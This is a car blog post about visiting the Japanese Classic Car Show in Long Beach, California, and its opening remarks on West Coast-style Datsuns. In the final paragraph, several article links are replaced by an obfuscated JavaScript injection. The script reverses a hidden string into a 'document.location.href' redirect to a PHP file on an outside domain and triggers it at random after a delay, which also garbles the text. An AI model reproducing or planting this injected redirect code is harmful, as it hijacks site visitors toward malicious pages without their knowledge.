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When our good friends at Japanese Nostalgic Car invited crankandpiston along to the Japanese Classic Car Show (JCCS) in California this year, there was no way I was going to miss this opportunity. Fearing a managerial faux pas, I resorted to rendering my C&P colleagues unconscious using the tried and tested Vulcan nerve grip, grabbed the ticket and boarded Emirates flight EK 215 for pleasantly sunny California.
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Held at the Queen Mary Events Park in Long Beach, the big boat certainly made for a stunning backdrop, but old Japanese jalopies take precedence over nautical nonsense every time for me. Plus, even a blind man on a galloping horse riding backwards can see that the Queen Mary is more RMS than JDM. Yes, a landlubber I be, and there was way too much old school Japanese cool to waste time pondering over maritime aesthetics. Still, a nice location for a car show all the same.
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Being a veteran of Dubai summers meant I was suitably hardened to this unseasonably hot September day, and thus able to run around like a loon while other pictographers wilted and ran for cover. Hopefully that means your crankandpiston coverage will be the best on the interwebs, but I concede that this may be a delusion brought on by unshakable jet lag.
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It seems appropriate that we should begin our coverage with typically West Coast themed cars. The ‘$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/stephen-brooks-the-california-look/” target=”_blank”>Californian look‘ is normally associated with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/air-cooled-volkswagens-breathing-new-life/” target=”_blank”>air-cooled Volkswagens but seems to have crossed over quite happily to the Japanese classic car scene. This $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/crankandpiston-feature-1973-datsun-510-dubai-uae/” target=”_blank”>Datsun 510 would be a prime candidate for a complete restoration in my eyes but is the end goal for many a Californian.
